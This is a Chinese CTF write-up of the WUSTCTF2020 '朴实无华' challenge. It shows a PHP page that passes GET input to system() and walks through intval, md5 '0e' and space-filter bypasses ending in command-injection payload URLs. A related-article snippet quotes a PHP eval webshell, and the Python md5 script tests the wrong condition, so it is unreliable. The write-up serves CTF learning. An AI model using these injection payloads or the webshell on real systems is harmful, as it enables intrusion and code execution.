首页 > 其他分享 >[WUSTCTF2020]朴实无华1

[WUSTCTF2020]朴实无华1

时间:2024-06-10 12:33:29浏览次数:30  
标签:hash WUSTCTF2020 get flag num str 朴实无华 md5

知识点: 1. 目录扫描

             2. burp抓包

             3. 弱类型比较绕过 

             4. 科学计数法,md5碰撞        

             5. 系统命令以及空格的替换

用dirsearch 扫一下目录 ~

dirsearch -e txt,bak,zip,tgz -u ip -t 30

那么看一下这个robots.txt文件~

那继续访问fAke_flagggg.php~

服了,老六~

抓个包看看

发现了一个新的 地址fl4g.php

那就访问一下~

找到源码了~

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

开始代码审计~

需要绕过三个if~

第一个用到了intval()~

需要绕过 intval($num) < 2020 && intval($num + 1) > 2021 可以通过num=2e5(浮点数)来绕过

在php的7.0以下版本在intval()处理科学计数法的表示的字符串的时候,他会取e前面的数字部分作为整数部分进行转换比如:输入2e5 则会转化为 2.

而对于2e5+1输入时php会先处理2e5+1进行浮点数运算结果为200001.0后进行int类型转换为200001.

<?php  
// PHP 7.0 以下版本的行为  
  
// intval() 对科学计数法字符串的处理  
$scientificNotation = "2e5";  
$intValue = intval($scientificNotation);  
echo $intValue; // 输出 2,因为只取了 "e" 前面的数字  
  
// 浮点数运算和 intval() 的结合  
$floatResult = "2e5" + 1; // 这会首先进行浮点数运算,得到 200001.0  
$intValueAfterFloatOperation = intval($floatResult);  
echo $intValueAfterFloatOperation; // 输出 200001,因为 intval() 将浮点数转换为了整数  
  
// 注意:这里的 "2e5 + 数字" 表达式本身不会返回字符串类型,而是浮点数  
// 只有当你试图将其转换为字符串(例如使用 strval())并以某种方式拼接时,它才会成为字符串的一部分  
?>

开始绕过第二个~ 

要绕过$md5==md5($md5).

可以输入md5=0e215962017,那么md5($md5)=0e291242476940776845150308577824,两个结果都是以0e开头通过弱类型比较,0e215962017和0e291242476940776845150308577824都会被当作科学计数法中的0来处理,因为e后面的数字太大,被当作0处理。所以根据PHP的类型转换规则,这两个数被认为是相等的,因此表达式成立,下面是本关md5碰撞的python代码~

import hashlib

def find_special_input():
    num = 0
    while True:
        input_str = '0e{:d}'.format(num)
        hash_str = hashlib.md5(input_str.encode()).hexdigest()
        if hash_str[:2] == '0e' and hash_str[2:].isdigit():
            if hash_str == hashlib.md5(hash_str.encode()).hexdigest():
                return input_str, hash_str
        num += 1

input_str, hash_str = find_special_input()
print("Input String:", input_str)
print("MD5 Hash:", hash_str)

开始绕过第三个~

第三个就很简单了,只需绕过空格和cat

空格可以用${IFS}$9来替换~

cat可以用more,tac来代替~

最后让我们开始构造payload~

http://c48c47bc-8460-4fbf-bf8f-a69b919a730c.node5.buuoj.cn:81/fl4g.php/?num=2e5&md5=0e215962017&get_flag=ls

http://c48c47bc-8460-4fbf-bf8f-a69b919a730c.node5.buuoj.cn:81/fl4g.php/?num=2e5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag值,游戏结束~

标签:hash,WUSTCTF2020,get,flag,num,str,朴实无华,md5
From: https://blog.csdn.net/alwtj/article/details/139574247

相关文章

  • [WUSTCTF2020]CV Maker
    [WUSTCTF2020]CVMaker打开环境注册了账号登陆,发现有上传头像的地方,尝试上传文件可以上传图片马GIF89a<scriptlanguage='php'>@eval($_POST['shell']);</script>BP里抓包改为php,得到上传成功路径http://1d2ee33c-dfe2-49ec-88c3-d3305f7bd2f3.node5.buuoj.cn:81/upload......
  • [WUSTCTF2020]颜值成绩查询
    [WUSTCTF2020]颜值成绩查询打开环境是一个成绩查询的页面1.手工注入输入1发现有admin的账号和得分输入1'会提示学号不存在1/**/or/**/1=1#过滤了空格1/**/order/**/by/**/3#存在1/**/order/**/by/**/4#不存在由此得知有3个字段1/**/union/**/select/**/1,2,......
  • [WUSTCTF2020]spaceclub
    [WUSTCTF2020]spaceclub附件是一个txt文件,打开发现是空白的ctrl+a全选下发现还是有内容的通过脚本进行替换,长的替换为1,短的替换为0importbinasciif=open("attachment.txt","r")content=f.readlines()s=""forlineincontent:iflen(line)==7:s+="0&qu......
  • [WUSTCTF2020]朴实无华
    [WUSTCTF2020]朴实无华robots.txt里发现提示打开这个页面,虽然页面里没有有用的信息,但是在响应头里发现了另一个页面提示打开发现代码<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__file__);//level1if(isset($_GET......
  • 【pwn】wustctf2020_closed --exec重定向
    这道题先来看一下ida这道题的代码逻辑很简单,首先关闭了标准输出和错误输出那可以将标准输出重定向到标准输入exec1>&0是一种Shell命令行中的重定向语法,用于将标准输出(文件描述符1)重定向到标准输入(文件描述符0)。在LinuxShell中,每个进程都有三个默认的标准文件描述符:标准......
  • wustctf2020_getshell
    wustctf2020_getshellret2shell在vulnerable函数中存在溢出漏洞shell函数中已经预留了后门溢出->跳转到后门函数frompwnimport*context.log_level='debug'elf=ELF('wustctf2020_getshell')io=process('wustctf2020_getshell')payload=b'A�......
  • [WUSTCTF2020]girlfriend
    下载了一个音频文件,打开来听起来像是在打电话输入号码的声音,猜测DTMF拨号音识别,有个程序可以识别一下dtmf2num.exe,通过链接可以下载http://aluigi.altervista.org/mytoolz/dtmf2num.zipDTMF2NUM0.2byLuigiAuriemmae-mail:[email protected]:aluigi.org-open......
  • [WUSTCTF2020]alison_likes_jojo
    boki图片中有隐藏文件压缩包需要密码暴力破解出密码888866解压得到信息经过三次base64解码后得到信息得到密码,这是另一张图片outguess隐写的密码,之后到虚拟机中进行破解得到flagflag{pretty_girl_alison_likes_jojo}......
  • [WUSTCTF2020]朴实无华 1
    原理intval绕过MD5加密值和原值相等绕过命令执行空格过滤解题过程intval($num)<2020&&intval($num+1)>2021绕过:https://blog.csdn.net/qq_47804678/article/details/128814377参考文章:https://blog.csdn.net/m0_62879498/article/details/124632041......
  • buuctf-[WUSTCTF2020]朴实无华
    打开靶机显示  啥都没有,先去查看robots.txt 发现  之后再fake里面请求头中发现fl4g.php  最后绕过三层php限制  第一关intvar 可以解析科学计数法 所以传入 1e4第一个截断解析为1  第二个加一解析为10001 payload:num=1e4第二关只要是0e开头md5......